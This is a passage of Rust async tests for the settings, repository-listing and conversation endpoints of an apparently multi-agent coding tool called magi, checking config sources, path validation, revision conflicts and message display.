13953 settings_checkout(
13954 &selected,
13955 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13956 )
13957 .await;
13958 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13959 let before = std::fs::read(&machine).unwrap();
13960 let ui = Arc::new(
13961 Ui::new(
13962 Queue::at(tmp.path().join("queue")),
13963 Questions::at(tmp.path().join("questions")),
13964 Talks::at(tmp.path().join("talks")),
13965 tmp.path().join("runs"),
13966 tmp.path().to_path_buf(),
13967 repo.clone(),
13968 )
13969 .with_machine_config(Some(machine.clone())),
13970 );
13971 let query = || {
13972 Query(SettingsQuery {
13973 repo: Some(selected.clone()),
13974 })
13975 };
13976 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13977 assert!(v.error.is_none(), "{:?}", v.error);
13978 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13979 assert_eq!(conductor.source, "repo");
13980 assert_eq!(
13981 conductor.machine_value,
13982 Some(toml::Value::String("a".into()))
13983 );
13984 assert!(!conductor.editable);
13985 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13986 assert_eq!(
13987 judges.count.as_ref().unwrap().machine_value,
13988 Some(toml::Value::Integer(1))
13989 );
13990 assert!(
13991 !v.roles
13992 .iter()
13993 .find(|r| r.key == "reviewers")
13994 .unwrap()
13995 .editable
13996 );
13997 let unknown = || {
13998 Query(SettingsQuery {
13999 repo: Some(tmp.path().to_path_buf()),
14000 })
14001 };
14002 assert_eq!(
14003 settings_get(State(ui.clone()), unknown())
14004 .await
14005 .unwrap_err()
14006 .status,
14007 StatusCode::UNPROCESSABLE_ENTITY
14008 );
14009 let body = || {
14010 Ok(Json(RolesBody {
14011 revision: v.revision.clone(),
14012 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14013 counts: Default::default(),
14014 }))
14015 };
14016 assert_eq!(
14017 settings_put_roles(State(ui.clone()), unknown(), body())
14018 .await
14019 .unwrap_err()
14020 .status,
14021 StatusCode::UNPROCESSABLE_ENTITY
14022 );
14023 assert_eq!(std::fs::read(&machine).unwrap(), before);
14024 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14025 .await
14026 .unwrap();
14027 assert_eq!(
14028 saved.repo,
14029 selected.canonicalize().unwrap().display().to_string()
14030 );
14031 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14032 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14033 let fresh = root.join("host/owner/fresh");
14035 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14036 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14037 .await
14038 .unwrap();
14039 assert_eq!(fresh_view.repositories.len(), 3);
14040 }
14041
14042 #[tokio::test]
14043 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14044 let (tmp, repo, machine) = settings_dirs(
14045 "[roles]\nreviewers = [\"a\"]\n",
14046 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14047 );
14048 let root = tmp.path().join("roots");
14049 let selected = root.join("host/owner/selected");
14050 settings_checkout(
14051 &selected,
14052 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14053 )
14054 .await;
14055 let broken = root.join("host/owner/broken");
14056 settings_checkout(&broken, "[roles\nbroken").await;
14057 let machine_text = format!(
14058 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14059 toml::Value::String(root.display().to_string())
14060 );
14061 std::fs::write(&machine, &machine_text).unwrap();
14062 let originals: Vec<_> = [&repo, &selected, &broken]
14063 .iter()
14064 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14065 .collect();
14066 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14067 let default = f.get("/api/settings").await.json();
14068 assert_eq!(
14069 default["repo"],
14070 repo.canonicalize().unwrap().display().to_string()
14071 );
14072 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14073 let query = format!("?repo={}", selected.display());
14074 let res = f.get(&format!("/api/settings{query}")).await;
14075 assert_eq!(res.status, 200, "{}", res.body);
14076 let v = res.json();
14077 assert!(v["error"].is_null(), "{v}");
14078 assert_eq!(v["repositories"], default["repositories"]);
14079 let role = |key: &str| {
14080 v["roles"]
14081 .as_array()
14082 .unwrap()
14083 .iter()
14084 .find(|r| r["key"] == key)
14085 .unwrap()
14086 };
14087 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14088 assert_eq!(role("advisors")["source"], "repo");
14089 assert_eq!(role("advisors")["editable"], false);
14090 assert!(role("advisors")["machine_value"].is_null());
14091 assert_eq!(role("judges")["count"]["value"], 2);
14092 assert_eq!(role("judges")["count"]["machine_value"], 1);
14093 assert_eq!(role("judges")["count"]["source"], "repo");
14094 let source = role("judges")["count"]["source_path"].as_str().unwrap();
14095 assert!(
14096 source.contains("origin/main") && !source.contains("magi/config/"),
14097 "{source}"
14098 );
14099 assert_eq!(
14100 role("reviewers")["editable"],
14101 false,
14102 "default context outside roots must protect its declarations"
14103 );
14104 let body =
14105 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14106 let unknown = format!("?repo={}", tmp.path().display());
14107 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14108 assert_eq!(
14109 f.put(&format!("/api/settings/roles{unknown}"), &body)
14110 .await
14111 .status,
14112 422
14113 );
14114 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14115 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14116 .to_string();
14117 assert_eq!(
14118 f.put(&format!("/api/settings/roles{query}"), &refuse)
14119 .await
14120 .status,
14121 422
14122 );
14123 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14124 assert_eq!(saved.status, 200, "{}", saved.body);
14125 assert_eq!(saved.json()["repo"], v["repo"]);
14126 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14127 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14128 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14129 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14130 }
14131 let error = f
14132 .get(&format!("/api/settings?repo={}", broken.display()))
14133 .await;
14134 assert_eq!(error.status, 200);
14135 assert!(error.json()["error"]["message"].is_string());
14136 assert_eq!(error.json()["repositories"], default["repositories"]);
14137 }
14138
14139 #[tokio::test]
14140 async fn settings_get_reports_sources_and_the_advisors_fallback() {
14141 let (_tmp, repo, machine) =
14142 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14143 let f = Fixture::with_repo_and_machine(repo, machine).await;
14144 let res = f.get("/api/settings").await;
14145 assert_eq!(res.status, 200, "{}", res.body);
14146 let v = res.json();
14147 assert!(v["error"].is_null(), "{v}");
14148 let role = |k: &str| {
14149 v["roles"]
14150 .as_array()
14151 .and_then(|r| r.iter().find(|x| x["key"] == k))
14152 .cloned()
14153 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14154 };
14155 assert_eq!(role("judges")["source"], "machine");
14156 assert_eq!(role("judges")["editable"], true);
14157 assert_eq!(role("implementers")["source"], "default");
14158 let adv = role("advisors");
14159 assert_eq!(adv["fallback"], "judges");
14160 assert!(
14161 adv["seats"]
14162 .as_array()
14163 .is_some_and(|s| s.iter().all(|x| x == "b")),
14164 "{adv}"
14165 );
14166 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14167 assert_eq!(v["agents"][0]["source"], "repo");
14168 }
14169
14170 #[tokio::test]
14171 async fn settings_get_reports_a_config_that_does_not_parse() {
14172 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14173 let f = Fixture::with_repo_and_machine(repo, machine).await;
14174 let res = f.get("/api/settings").await;
14175 assert_eq!(res.status, 200, "{}", res.body);
14176 let v = res.json();
14177 assert!(v["error"]["message"].is_string(), "{v}");
14178 assert!(
14179 v["error"]["path"]
14180 .as_str()
14181 .is_some_and(|p| p.ends_with("magi.toml")),
14182 "{v}"
14183 );
14184 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14185 }
14186
14187 #[tokio::test]
14188 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14189 let (_tmp, repo, machine) = settings_dirs(
14190 SETTINGS_AGENTS,
14191 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
14192 );
14193 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14194 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14195 let rev = f.get("/api/settings").await.json()["revision"]
14196 .as_str()
14197 .expect("revision")
14198 .to_owned();
14199 let body = serde_json::json!({
14200 "revision": rev,
14201 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14202 })
14203 .to_string();
14204 let res = f.put("/api/settings/roles", &body).await;
14205 assert_eq!(res.status, 200, "{}", res.body);
14206 let text = std::fs::read_to_string(&machine).expect("machine");
14207 assert_eq!(
14208 text,
14209 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14210 );
14211 assert_eq!(
14212 std::fs::read(repo.join("magi.toml")).expect("read"),
14213 repo_before
14214 );
14215 let again = f.get("/api/settings").await.json();
14216 let judges = again["roles"]
14217 .as_array()
14218 .expect("roles")
14219 .iter()
14220 .find(|r| r["key"] == "judges")
14221 .expect("judges")
14222 .clone();
14223 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14224 let stale = f.put("/api/settings/roles", &body).await;
14226 assert_eq!(stale.status, 409, "{}", stale.body);
14227 }
14228
14229 #[tokio::test]
14230 async fn settings_counts_are_reported_and_saved() {
14231 let (_tmp, repo, machine) = settings_dirs(
14232 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14233 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14234 );
14235 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14236 let v = f.get("/api/settings").await.json();
14237 let count = |v: &serde_json::Value, k: &str| {
14238 v["roles"]
14239 .as_array()
14240 .and_then(|r| r.iter().find(|x| x["key"] == k))
14241 .map(|x| x["count"].clone())
14242 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14243 };
14244 let imp = count(&v, "implementers");
14245 assert_eq!(imp["value"], 2);
14246 assert_eq!(imp["source"], "machine");
14247 assert_eq!(imp["file_key"], "candidates");
14248 assert_eq!(imp["roster_len"], 2);
14249 assert_eq!(imp["backups"], 0);
14250 assert_eq!(count(&v, "judges")["source"], "default");
14251 assert_eq!(count(&v, "advisors")["min"], 0);
14252 assert_eq!(count(&v, "reviewers")["editable"], false);
14253 assert!(
14254 count(&v, "reviewers")["locked_reason"]
14255 .as_str()
14256 .is_some_and(|m| m.contains("graph.reviewers"))
14257 );
14258 assert!(count(&v, "fixer").is_null());
14259 let rev = v["revision"].as_str().expect("revision").to_owned();
14260 let body = serde_json::json!({
14261 "revision": rev,
14262 "roles": { "judges": ["b"] },
14263 "counts": { "implementers": 1, "advisors": 0 }
14264 })
14265 .to_string();
14266 let res = f.put("/api/settings/roles", &body).await;
14267 assert_eq!(res.status, 200, "{}", res.body);
14268 let text = std::fs::read_to_string(&machine).expect("machine");
14269 assert_eq!(
14270 text,
14271 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14272 );
14273 let after = f.get("/api/settings").await.json();
14274 assert_eq!(count(&after, "implementers")["value"], 1);
14275 assert_eq!(count(&after, "implementers")["backups"], 1);
14276 assert_eq!(count(&after, "advisors")["value"], 0);
14277 let before = std::fs::read_to_string(&machine).expect("machine");
14278 let rev = after["revision"].as_str().expect("revision").to_owned();
14279 for counts in [
14280 serde_json::json!({ "judges": 0 }),
14281 serde_json::json!({ "judges": "x" }),
14282 serde_json::json!({ "judges": 2.5 }),
14283 serde_json::json!({ "judges": -1 }),
14284 serde_json::json!({ "reviewers": 3 }),
14285 serde_json::json!({ "bogus": 3 }),
14286 ] {
14287 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14288 let res = f.put("/api/settings/roles", &body).await;
14289 assert_eq!(res.status, 422, "{counts}: {}", res.body);
14290 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14291 }
14292 }
14293
14294 #[tokio::test]
14295 async fn settings_put_refuses_without_touching_the_file() {
14296 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14297 let (_tmp, repo, machine) = settings_dirs(
14298 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14299 Some(machine_text),
14300 );
14301 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14302 let rev = f.get("/api/settings").await.json()["revision"]
14303 .as_str()
14304 .expect("revision")
14305 .to_owned();
14306 for roles in [
14307 serde_json::json!({ "judges": ["nope"] }),
14308 serde_json::json!({ "reviewers": ["b"] }),
14309 serde_json::json!({ "bogus": ["a"] }),
14310 ] {
14311 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14312 let res = f.put("/api/settings/roles", &body).await;
14313 assert_eq!(res.status, 422, "{roles}: {}", res.body);
14314 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14315 assert_eq!(
14316 std::fs::read_to_string(&machine).expect("machine"),
14317 machine_text
14318 );
14319 }
14320 }
14321
14322 #[tokio::test]
14323 async fn repos_list_returns_name_and_path_for_every_configured_root() {
14324 let tmp = TempDir::new().expect("tempdir");
14325 let repo = tmp.path().join("repo");
14326 std::fs::create_dir_all(&repo).expect("repo dir");
14327 let root = tmp.path().join("root");
14328 make_checkout(&root, "github.com", "yukimemi", "magi");
14329 std::fs::write(
14330 repo.join("magi.toml"),
14331 format!(
14332 "[repos]\nroots = [{:?}]\n",
14333 root.to_string_lossy().into_owned()
14334 ),
14335 )
14336 .expect("write magi.toml");
14337
14338 let f = Fixture::with_repo(repo).await;
14339 let res = f.get("/api/repos").await;
14340 assert_eq!(res.status, 200, "{}", res.body);
14341 let list = res.json();
14342 let repos = list.as_array().expect("an array");
14343 assert_eq!(repos.len(), 1);
14344 assert_eq!(repos[0]["name"], "yukimemi/magi");
14345 assert!(
14346 repos[0]["path"]
14347 .as_str()
14348 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14349 "{list}"
14350 );
14351 }
14352
14353 #[tokio::test]
14354 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14355 let tmp = TempDir::new().expect("tempdir");
14356 let repo = tmp.path().join("repo");
14357 std::fs::create_dir_all(&repo).expect("repo dir");
14358 let root = tmp.path().join("root");
14359 make_checkout(&root, "github.com", "yukimemi", "magi");
14360 std::fs::write(
14361 repo.join("magi.toml"),
14362 format!(
14363 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14364 root.to_string_lossy().into_owned()
14365 ),
14366 )
14367 .expect("write magi.toml");
14368
14369 let f = Fixture::with_repo(repo).await;
14370 let first = f.get("/api/repos").await;
14371 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14372
14373 make_checkout(&root, "github.com", "yukimemi", "rvpm");
14376 let second = f.get("/api/repos").await;
14377 assert_eq!(
14378 second.json().as_array().map(Vec::len),
14379 Some(1),
14380 "a fresh cache must not rescan inside the TTL"
14381 );
14382
14383 let refreshed = f.get("/api/repos?refresh=1").await;
14384 assert_eq!(
14385 refreshed.json().as_array().map(Vec::len),
14386 Some(2),
14387 "an explicit refresh must rescan even inside the TTL"
14388 );
14389 }
14390
14391 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14397
14398 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14402 let tmp = TempDir::new().expect("tempdir");
14403 let repo = tmp.path().join("repo");
14404 std::fs::create_dir_all(&repo).expect("repo dir");
14405 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14406 let f = Fixture::with_repo(repo.clone()).await;
14407 (tmp, repo, f)
14408 }
14409
14410 #[tokio::test]
14411 async fn posting_a_talk_with_remembered_choices_is_soft() {
14412 let (_tmp, _repo, f) = talk_fixture().await;
14413
14414 let good = f
14415 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14416 .await;
14417 assert_eq!(good.status, 201, "{}", good.body);
14418 assert_eq!(good.json()["persona"], "rei");
14419
14420 let stale = f
14422 .post(
14423 "/api/talks",
14424 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14425 )
14426 .await;
14427 assert_eq!(stale.status, 201, "{}", stale.body);
14428 let v = stale.json();
14429 assert_eq!(v["implementers"], 1);
14430 assert_ne!(v["persona"], "nobody");
14431 let typed = f
14432 .post(
14433 "/api/talks",
14434 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14435 )
14436 .await;
14437 assert_eq!(typed.status, 201, "{}", typed.body);
14438
14439 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14441 assert!(
14442 !strict.status.to_string().starts_with('2'),
14443 "{}",
14444 strict.body
14445 );
14446 }
14447
14448 #[tokio::test]
14449 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14450 let (_tmp, _repo, f) = talk_fixture().await;
14451
14452 let opened = f.post("/api/talks", None).await;
14455 assert_eq!(opened.status, 201, "{}", opened.body);
14456 let body = opened.json();
14457 assert_eq!(body["status"], "open");
14458 assert_eq!(
14459 body["turns"].as_array().unwrap().len(),
14460 0,
14461 "opening takes no agent turn: there is nothing yet to answer"
14462 );
14463
14464 let also_opened = f.post("/api/talks", Some("{}")).await;
14466 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14467
14468 let listed = f.get("/api/talks").await.json();
14469 assert_eq!(listed.as_array().unwrap().len(), 2);
14470 }
14471
14472 #[tokio::test]
14473 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14474 let tmp = TempDir::new().expect("tempdir");
14475 let repo = tmp.path().join("repo");
14476 std::fs::create_dir_all(&repo).expect("repo dir");
14477 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14478 std::fs::write(
14479 repo.join("magi.toml"),
14480 format!("{MOCK_AGENT_TOML}\n{second}"),
14481 )
14482 .expect("write magi.toml");
14483 let home = TempDir::new().expect("temp home");
14484 let talks = Talks::at(home.path().join("talks"));
14485 let ui = Arc::new(
14486 Ui::new(
14487 Queue::at(home.path().join("queue")),
14488 Questions::at(home.path().join("questions")),
14489 talks.clone(),
14490 home.path().join("runs"),
14491 home.path().to_path_buf(),
14492 repo.clone(),
14493 )
14494 .with_worktrees_root(home.path().join("wt")),
14495 );
14496 let cfg = config_for(&repo).await.expect("discover config");
14497 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14498 let id = talk.id.clone();
14499 let call = |agent: &str| {
14500 talk_agent(
14501 State(Arc::clone(&ui)),
14502 Path(id.clone()),
14503 Json(TalkAgent {
14504 agent: agent.to_owned(),
14505 }),
14506 )
14507 };
14508
14509 let unknown = call("nobody").await.expect_err("unknown agent");
14510 assert_eq!(
14511 unknown.status,
14512 StatusCode::BAD_REQUEST,
14513 "{}",
14514 unknown.message
14515 );
14516
14517 {
14518 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14521 let busy = call("second").await.expect_err("busy talk");
14522 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14523 assert!(
14524 busy.message.contains("a talk turn is running"),
14525 "{}",
14526 busy.message
14527 );
14528 drop(guard);
14529 }
14530 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14531
14532 let Json(view) = call("second").await.expect("switch");
14533 assert_eq!(view.talk.agent, "second");
14534 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14535 let saved = talks.get(&id).expect("reload");
14536 assert_eq!(saved.agent, "second");
14537 assert_eq!(saved.turns.len(), 1);
14538 assert!(!view.thinking);
14539 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14540 for agent in ["mock", "second"] {
14541 let Json(view) = call(agent).await.expect("immediate consecutive change");
14542 assert_eq!(view.talk.agent, agent);
14543 assert!(!view.thinking);
14544 assert!(!ui.is_thinking(&id));
14545 }
14546
14547 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14548 .await
14549 .expect("detail");
14550 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14551 assert_eq!(roster, ["mock", "second"]);
14552
14553 let mut closed = talks.get(&id).expect("reload");
14554 talk::close(&mut closed, &talks).expect("close");
14555 let refused = call("mock").await.expect_err("closed talk");
14556 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14557 assert!(
14558 refused.message.contains("takes no more turns"),
14559 "{}",
14560 refused.message
14561 );
14562 }
14563
14564 #[tokio::test]
14565 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14566 let tmp = TempDir::new().expect("tempdir");
14567 let repo = tmp.path().join("repo");
14568 std::fs::create_dir_all(&repo).expect("repo dir");
14569 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14570 let home = TempDir::new().expect("temp home");
14571 let talks = Talks::at(home.path().join("talks"));
14572 let ui = Arc::new(
14573 Ui::new(
14574 Queue::at(home.path().join("queue")),
14575 Questions::at(home.path().join("questions")),
14576 talks.clone(),
14577 home.path().join("runs"),
14578 home.path().to_path_buf(),
14579 repo.clone(),
14580 )
14581 .with_worktrees_root(home.path().join("wt")),
14582 );
14583 let cfg = config_for(&repo).await.expect("discover config");
14584 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14585 let id = talk.id.clone();
14586 let call = |n: u8| {
14587 talk_implementers(
14588 State(Arc::clone(&ui)),
14589 Path(id.clone()),
14590 Json(TalkImplementers { implementers: n }),
14591 )
14592 };
14593
14594 for bad in [0u8, 4] {
14595 let e = call(bad).await.expect_err("out of range");
14596 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14597 }
14598 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14599
14600 {
14601 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14604 let busy = call(2).await.expect_err("busy talk");
14605 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14606 assert!(
14607 busy.message.contains("a talk turn is running"),
14608 "{}",
14609 busy.message
14610 );
14611 drop(guard);
14612 }
14613
14614 let Json(view) = call(3).await.expect("switch");
14615 assert_eq!(view.talk.implementers, 3);
14616 assert!(talks.get(&id).expect("reload").implementers_dirty);
14617 assert!(!view.thinking);
14618 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14619 for n in [1, 2, 3] {
14620 let Json(view) = call(n).await.expect("immediate consecutive change");
14621 assert_eq!(view.talk.implementers, n);
14622 assert!(!view.thinking);
14623 assert!(!ui.is_thinking(&id));
14624 }
14625
14626 let mut closed = talks.get(&id).expect("reload");
14627 talk::close(&mut closed, &talks).expect("close");
14628 let e = call(2).await.expect_err("closed talk");
14629 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14630 assert!(e.message.contains("takes no more turns"), "{}", e.message);
14631 }
14632
14633 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14635 let tmp = TempDir::new().expect("tempdir");
14636 let repo = tmp.path().join("repo");
14637 std::fs::create_dir_all(&repo).expect("repo dir");
14638 std::fs::write(
14639 repo.join("magi.toml"),
14640 format!("{MOCK_AGENT_TOML}\n{extra}"),
14641 )
14642 .expect("write magi.toml");
14643 let home = TempDir::new().expect("temp home");
14644 let talks = Talks::at(home.path().join("talks"));
14645 let ui = Arc::new(
14646 Ui::new(
14647 Queue::at(home.path().join("queue")),
14648 Questions::at(home.path().join("questions")),
14649 talks.clone(),
14650 home.path().join("runs"),
14651 home.path().to_path_buf(),
14652 repo.clone(),
14653 )
14654 .with_worktrees_root(home.path().join("wt")),
14655 );
14656 let cfg = config_for(&repo).await.expect("discover config");
14657 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14658 (tmp, home, ui, talk.id, repo)
14659 }
14660
14661 #[tokio::test]
14662 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14663 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14664 let mut conversation = ui.talks.get(&id).unwrap();
14665 talk::record(
14666 &mut conversation,
14667 &ui.talks,
14668 "# Update on a task you filed\noperator words",
14669 vec![],
14670 )
14671 .unwrap();
14672 conversation.turns[0].sender = None;
14674 conversation.turns[0].messages.clear();
14675 ui.talks.put(&mut conversation).unwrap();
14676 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14677 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14678 talk::drain(&mut conversation, &ui.talks).unwrap();
14679 talk::record_reply(
14680 &mut conversation,
14681 &ui.talks,
14682 "about that report",
14683 vec![],
14684 Some(talk::ReplyTarget {
14685 turn: 1,
14686 message: 1,
14687 }),
14688 )
14689 .unwrap();
14690 conversation.turns[2].messages[0]
14691 .reply
14692 .as_mut()
14693 .unwrap()
14694 .sender = None;
14695 conversation.turns.push(talk::Turn {
14696 sender: Some(talk::Sender::Persona),
14697 who: talk::Who::Agent,
14698 body: "magi: actual persona words".into(),
14699 at: Timestamp::now(),
14700 attachments: vec![],
14701 usage: None,
14702 breaks: None,
14703 messages: vec![],
14704 posted_by: None,
14705 });
14706 ui.talks.put(&mut conversation).unwrap();
14707 let view = TalkView::with_config(
14708 ui.talks.get(&id).unwrap(),
14709 false,
14710 None,
14711 &ui.home,
14712 &ui.references,
14713 );
14714 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14715 assert_eq!(
14716 view.talk.turns[1].messages[0].sender,
14717 Some(talk::Sender::Operator)
14718 );
14719 assert_eq!(
14720 view.talk.turns[1].messages[1].sender,
14721 Some(talk::Sender::Magi)
14722 );
14723 assert_eq!(
14724 view.talk.turns[2].messages[0]
14725 .reply
14726 .as_ref()
14727 .unwrap()
14728 .sender,
14729 Some(talk::Sender::Magi)
14730 );
14731 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14732 assert_eq!(view.turn_messages_md[0].len(), 1);
14733 assert!(view.turn_messages_md[0][0].is_none());
14734 assert!(view.turn_messages_md[1][0].is_none());
14735 assert!(view.turn_messages_md[1][1].is_some());
14736 }
14737
14738 #[tokio::test]
14739 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14740 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14741 let mut conversation = ui.talks.get(&id).unwrap();
14742 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14743 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14744 talk::queue_notice(
14745 &mut conversation,
14746 &ui.talks,
14747 &body,
14748 "watch:123",
14749 &|_| false,
14750 None,
14751 display.clone(),
14752 )
14753 .unwrap();
14754 assert!(
14755 !talk::queue_notice(
14756 &mut conversation,
14757 &ui.talks,
14758 &body,
14759 "watch:123",
14760 &|_| false,
14761 None,
14762 display.clone()
14763 )
14764 .unwrap()
14765 );
14766 let saved = ui.talks.get(&id).unwrap();
14767 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14768 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14769 assert!(
14770 view.talk.turns[0].messages[0].display.is_none(),
14771 "operator copy stays literal"
14772 );
14773 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14774 assert!(view.turn_messages_md[0][0].is_none());
14775 let queued_md = view.pending_messages_md[0].clone();
14776 assert_eq!(
14777 queued_md,
14778 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14779 );
14780 talk::drain(&mut conversation, &ui.talks).unwrap();
14781 talk::record_reply(
14782 &mut conversation,
14783 &ui.talks,
14784 "Explain",
14785 vec![],
14786 Some(talk::ReplyTarget {
14787 turn: 1,
14788 message: 0,
14789 }),
14790 )
14791 .unwrap();
14792 let mut saved = ui.talks.get(&id).unwrap();
14793 assert_eq!(saved.turns[1].messages[0].body, body);
14794 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14795 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14796 assert!(!reply.excerpt.contains("automatic report"));
14797 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14800 let view = TalkView::with_config(
14801 ui.talks.get(&id).unwrap(),
14802 false,
14803 None,
14804 &ui.home,
14805 &ui.references,
14806 );
14807 assert_eq!(view.turn_messages_md[1][0], queued_md);
14808 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14809 assert!(
14810 !view.talk.turns[2].messages[0]
14811 .reply
14812 .as_ref()
14813 .unwrap()
14814 .excerpt
14815 .contains("automatic report")
14816 );
14817 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14818 }
14819
14820 #[tokio::test]
14821 async fn consultation_display_hides_directives_in_queue_and_history() {
14822 for node in [
14823 "implement",
14824 crate::land::APPROVAL_NODE,
14825 crate::github_text::ASK_NODE,
14826 ] {
14827 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14828 let mut question = Question::new(
14829 "run-123".into(),
14830 node.into(),
14831 "seat-1".into(),
